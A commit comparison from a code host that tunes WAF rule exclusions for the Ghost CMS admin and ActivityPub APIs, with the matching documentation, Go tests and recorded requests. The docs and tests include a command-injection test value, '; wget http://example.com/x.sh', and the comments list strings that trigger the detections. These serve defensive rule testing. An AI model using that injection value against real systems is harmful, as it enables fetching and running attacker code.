Commits vergleichen
2
Commits
| Autor | SHA1 | Datum | |
|---|---|---|---|
|
|
799ae441b4 | ||
|
|
c4bf76c966 |
Keine Dateien entsprechen Ihrer Suche
+14
-7
@@ -1762,8 +1762,10 @@ These query fields skip some rules:
|
||||
the Admin API;
|
||||
- `url`, the address the editor looks up for an embed or a bookmark, skips
|
||||
930120 and 932120;
|
||||
- `pathname`, `source` and the `utm_` fields, which filter the analytics, skip
|
||||
those eight rules under `/ghost/api/admin/stats/`;
|
||||
- `source` and the `utm_` fields, which filter the analytics, skip those eight
|
||||
rules under `/ghost/api/admin/stats/`;
|
||||
- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
|
||||
there;
|
||||
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
|
||||
on the Admin API's posts;
|
||||
- `query`, a search for an account in ActivityPub, skips those eight rules;
|
||||
@@ -1808,17 +1810,21 @@ sent as `username` when signing in, and as `email` in these requests:
|
||||
- inviting a staff user;
|
||||
- accepting an invitation.
|
||||
|
||||
In ActivityPub, an account's handle skips 930120 and 932120. The domain of the
|
||||
site's handle skips 930120, 932120 and 932260. Each field skips its rules only
|
||||
on its own path:
|
||||
In ActivityPub, an account's handle and its address skip 930120 and 932120. The
|
||||
domain of the site's handle skips 930120, 932120 and 932260. Each field skips
|
||||
its rules only on its own path:
|
||||
|
||||
- `sourceHandle`, an account that moves here, at
|
||||
- `sourceHandle`, an account that moves here, when it is added at
|
||||
`/.ghost/activitypub/v1/aliases`;
|
||||
- `actorUri`, that account's address, when the admin removes it there;
|
||||
- `targetHandle`, the account this one moves to, at
|
||||
`/.ghost/activitypub/v1/migration`;
|
||||
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
|
||||
`/.ghost/activitypub/v1/domain/validate`.
|
||||
|
||||
A tag's `canonical_url` skips 930120 and 932120 under `/ghost/api/admin/tags/`,
|
||||
as `url` does.
|
||||
|
||||
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
||||
|
||||
- `lexical`, which the editor saves, and `mobiledoc` and `html`, which
|
||||
@@ -1864,7 +1870,8 @@ field above. Script injection is too, outside the articles and code injection.
|
||||
`; wget http://example.com/x.sh` is still refused in these fields:
|
||||
|
||||
- the addresses, the handles and the domain;
|
||||
- `search`, `url`, `email_segment` and `email`.
|
||||
- a tag's `canonical_url`;
|
||||
- `search`, `url`, `pathname`, `email_segment` and `email`.
|
||||
|
||||
The other fields above skip 932235, which refuses that command but also refuses
|
||||
`powershell & python3`.
|
||||
|
||||
@@ -57,25 +57,35 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
||||
|
||||
# The query fields of the analytics pages skip the eight rules that 900353
|
||||
# The query fields that filter the analytics skip the eight rules that 900353
|
||||
# lists, on /ghost/api/admin/stats/:
|
||||
# 930120: pathname=/.htaccess
|
||||
# 932120: source=powershell.example.com
|
||||
# 932235, 932260: utm_campaign=powershell & python3
|
||||
# 932250: utm_term=ls -la
|
||||
# These fields filter the figures by a page, the site a visit came from, or a
|
||||
# campaign: pathname, source, utm_source, utm_medium, utm_campaign,
|
||||
# utm_content and utm_term.
|
||||
# These fields filter the figures by the site a visit came from, or a
|
||||
# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
|
||||
# utm_term.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
||||
"id:900367,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/"
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
|
||||
|
||||
# pathname, the page the analytics show, skips three rules on
|
||||
# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
|
||||
# 930120: pathname=/tag/proc/
|
||||
# 932120: pathname=/python3-and-powershell/
|
||||
# 932260: pathname=/tag/python3/
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
||||
"id:900385,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:pathname"
|
||||
|
||||
# email_segment, the members a post is sent to as a newsletter, skips 932120
|
||||
# on the Admin API's posts: email_segment=label:powershell-users.
|
||||
@@ -299,22 +309,27 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
|
||||
|
||||
# In ActivityPub, an account's handle skips 930120 and 932120, which refused
|
||||
# @erin.htaccess@example.com and @powershell@example.com. A handle starts with
|
||||
# an @, so 932260 does not refuse @python3.dev@example.com. The domain of the
|
||||
# site's handle skips the same three rules as an address, which refused
|
||||
# In ActivityPub, an account's handle and its address skip 930120 and 932120.
|
||||
# They refused the handles @erin.htaccess@example.com and
|
||||
# @powershell@example.com, and the addresses
|
||||
# https://example.com/users/erin.htaccess and
|
||||
# https://example.com/users/powershell. A handle starts with an @, so 932260
|
||||
# does not refuse @python3.dev@example.com. The domain of the site's handle
|
||||
# skips the same three rules as an email address, which refused
|
||||
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
|
||||
# Each of these fields skips them only on its own path:
|
||||
# sourceHandle, an account that moves here, at /.ghost/activitypub/v1/aliases
|
||||
# sourceHandle, an account that moves here, added at
|
||||
# /.ghost/activitypub/v1/aliases
|
||||
# actorUri, that account's address, when the admin removes it there
|
||||
# targetHandle, the account this one moves to, at
|
||||
# /.ghost/activitypub/v1/migration
|
||||
# domain, saved at /.ghost/activitypub/v1/domain and checked at
|
||||
# /.ghost/activitypub/v1/domain/validate
|
||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
|
||||
"id:900379,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.sourcehandle$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.sourcehandle$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.sourcehandle$/"
|
||||
SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
|
||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
|
||||
"id:900380,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
|
||||
@@ -440,6 +455,16 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
|
||||
|
||||
# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
|
||||
# skips the two rules that url skips:
|
||||
# 930120: https://example.com/tag/.htaccess/
|
||||
# 932120: https://example.com/tag/powershell/
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
||||
"id:900382,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
|
||||
|
||||
# The passwords, which skip each rule that random passwords set off:
|
||||
# password, signing in at /ghost/api/admin/session/
|
||||
# setup.<n>.password, creating the first staff user
|
||||
|
||||
@@ -280,6 +280,21 @@ var ghostDomainFields = []ghostField{
|
||||
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
|
||||
}
|
||||
|
||||
// ghostURLFields hold a tag's canonical URL, or the address of an account
|
||||
// removed from those that move here in ActivityPub. They skip 930120 and
|
||||
// 932120, as url does.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostURLFields = []ghostField{
|
||||
{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
|
||||
{
|
||||
http.MethodPut,
|
||||
ghostTags + "6af45d4ed281b00001a599a8/",
|
||||
`{"tags":[{"canonical_url":"VALUE"}]}`,
|
||||
},
|
||||
{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
|
||||
}
|
||||
|
||||
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
||||
// <script> element by 900366.
|
||||
//
|
||||
@@ -367,6 +382,19 @@ const (
|
||||
ghostInvitedEmail = ghostInvitation + "?email="
|
||||
)
|
||||
|
||||
// ghostAnalyticsFilters are source and the utm_ fields, which filter the
|
||||
// analytics, each ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostAnalyticsFilters = []string{
|
||||
ghostSource,
|
||||
ghostStats + "&utm_source=",
|
||||
ghostStats + "&utm_medium=",
|
||||
ghostCampaign,
|
||||
ghostStats + "&utm_content=",
|
||||
ghostStats + "&utm_term=",
|
||||
}
|
||||
|
||||
// ghostQueryFields are the query fields that skip some rules.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
@@ -379,7 +407,8 @@ var ghostQueryFields = []string{
|
||||
// ghostCommandNames joins two command names, as an ordinary title can.
|
||||
const ghostCommandNames = "powershell & python3"
|
||||
|
||||
// ghostURLs are addresses 930120 and 932120 refused in url.
|
||||
// ghostURLs are addresses 930120 and 932120 refused in url and in
|
||||
// ghostURLFields.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostURLs = []string{
|
||||
@@ -495,6 +524,10 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
||||
|
||||
for _, address := range ghostURLs {
|
||||
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
||||
|
||||
for _, f := range ghostURLFields {
|
||||
wantGhostField(t, f, address, false)
|
||||
}
|
||||
}
|
||||
|
||||
for _, address := range ghostAddresses {
|
||||
@@ -578,8 +611,8 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
|
||||
for _, attack := range ghostAttacks {
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostHandleFields, ghostDomainFields, ghostArticleFields,
|
||||
ghostCodeFields) {
|
||||
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
||||
ghostArticleFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, attack, true)
|
||||
}
|
||||
|
||||
@@ -591,7 +624,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
// A script injection stays refused in every field that does not take a
|
||||
// <script> element.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostHandleFields, ghostDomainFields,
|
||||
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
||||
ghostSnippetAndNewsletterFooterFields) {
|
||||
wantGhostField(t, f, scriptTag, true)
|
||||
}
|
||||
@@ -601,16 +634,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
|
||||
// A command after a separator stays refused wherever 932235 does not
|
||||
// misfire: in the addresses, handles, the domain, search, url,
|
||||
// email_segment and email. The other fields skip 932235, which refuses
|
||||
// "powershell & python3" as it refuses this.
|
||||
// misfire: in the addresses, handles, the domain, ghostURLFields, search,
|
||||
// url, pathname, email_segment and email. The other fields skip 932235,
|
||||
// which refuses "powershell & python3" as it refuses this.
|
||||
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
|
||||
ghostDomainFields) {
|
||||
ghostDomainFields, ghostURLFields) {
|
||||
wantGhostField(t, f, commandAfterASeparator, true)
|
||||
}
|
||||
|
||||
for _, target := range []string{
|
||||
ghostSearch, ghostEmbed, ghostSegment, ghostInvitedEmail,
|
||||
ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
|
||||
ghostInvitedEmail,
|
||||
} {
|
||||
wantGhostQuery(
|
||||
t,
|
||||
@@ -649,10 +683,6 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
func TestGhostTwoCommandNamesPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, ghostCommandNames, false)
|
||||
}
|
||||
|
||||
// The site's title, saved through settings.
|
||||
siteTitle := ghostField{
|
||||
http.MethodPut,
|
||||
@@ -661,12 +691,26 @@ func TestGhostTwoCommandNamesPass(t *testing.T) {
|
||||
}
|
||||
wantGhostField(t, siteTitle, ghostCommandNames, false)
|
||||
|
||||
// filter as the admin's post picker writes it, after a person types a
|
||||
// title that joins two command names.
|
||||
// Values that join two command names, as a person types them.
|
||||
for _, typed := range []string{
|
||||
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
|
||||
"ls -la & python3",
|
||||
} {
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, typed, false)
|
||||
}
|
||||
|
||||
wantGhostImportLabel(t, ghostImport, typed, false)
|
||||
|
||||
for _, target := range slices.Concat(
|
||||
ghostAnalyticsFilters,
|
||||
[]string{ghostAccountSearch},
|
||||
) {
|
||||
wantGhostQuery(t, target+url.QueryEscape(typed), false)
|
||||
}
|
||||
|
||||
// filter as the admin's post picker writes it, after a person types
|
||||
// such a title.
|
||||
filter := "status:published+title:~'" + typed + "'"
|
||||
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
|
||||
}
|
||||
@@ -682,16 +726,21 @@ func TestGhostOrdinaryQueriesPass(t *testing.T) {
|
||||
value, _ := url.QueryUnescape(encoded)
|
||||
text := url.QueryEscape("Notes on " + value + " & tidy files")
|
||||
|
||||
wantGhostQuery(
|
||||
t,
|
||||
ghostPathname+url.QueryEscape("/"+value+"/"),
|
||||
false,
|
||||
)
|
||||
wantGhostQuery(t, ghostSource+encoded, false)
|
||||
for _, target := range ghostAnalyticsFilters {
|
||||
wantGhostQuery(t, target+encoded, false)
|
||||
}
|
||||
|
||||
wantGhostQuery(t, ghostCampaign+text, false)
|
||||
wantGhostQuery(t, ghostAccountSearch+text, false)
|
||||
}
|
||||
|
||||
// pathname, the page the analytics show: a post and two tag pages.
|
||||
for _, path := range []string{
|
||||
"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
|
||||
} {
|
||||
wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
|
||||
}
|
||||
|
||||
wantGhostQuery(
|
||||
t,
|
||||
ghostCampaign+url.QueryEscape(ghostCommandNames),
|
||||
@@ -897,7 +946,7 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
||||
}
|
||||
|
||||
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
|
||||
// fields that 900370 to 900381 name, as TestGhostExclusionsAreNarrow checks
|
||||
// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
|
||||
// the others: each keeps its rules on another path, and when the query has
|
||||
// a field of the same name.
|
||||
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
||||
@@ -912,9 +961,11 @@ func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
||||
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
|
||||
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
|
||||
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
|
||||
actorURI = `{"actorUri":"https://example.com/users/powershell"}`
|
||||
targetHandle = `{"targetHandle":"@powershell@example.com"}`
|
||||
domain = `{"domain":"python3.example.com"}`
|
||||
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
|
||||
tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
|
||||
)
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
@@ -935,12 +986,16 @@ func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
|
||||
{ghostInvitation + "?json.invitation.0.email=x", accepted},
|
||||
{ghostMigration, sourceHandle},
|
||||
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
|
||||
{ghostMigration, actorURI},
|
||||
{ghostAliases + "?json.actorUri=x", actorURI},
|
||||
{ghostAliases, targetHandle},
|
||||
{ghostMigration + "?json.targetHandle=x", targetHandle},
|
||||
{ghostAccount, domain},
|
||||
{ghostDomain + "?json.domain=x", domain},
|
||||
{ghostPosts, tagCode},
|
||||
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
|
||||
{ghostPosts, tagURL},
|
||||
{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
|
||||
} {
|
||||
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||
|
||||
|
||||
@@ -776,7 +776,7 @@
|
||||
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 699", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/python3/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 & powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
|
||||
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||
|
||||
@@ -93,10 +93,15 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
||||
},
|
||||
)
|
||||
|
||||
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||
bytes.NewReader(make([]byte, tc.size))))
|
||||
if got.status != http.StatusRequestEntityTooLarge {
|
||||
t.Errorf("answered %+v, want 413", got)
|
||||
// The visitor sends no Connection: close, so Go's server reads the rest
|
||||
// of the body before it closes the connection. Closed with the rest
|
||||
// unread, the connection is reset while the visitor still sends.
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+announcedLength(tc.size)+
|
||||
strings.Repeat("x", tc.size))
|
||||
|
||||
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
||||
t.Errorf("status %d, want 413", status)
|
||||
}
|
||||
|
||||
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
||||
|
||||
In neuem Issue referenzieren
Einen Benutzer sperren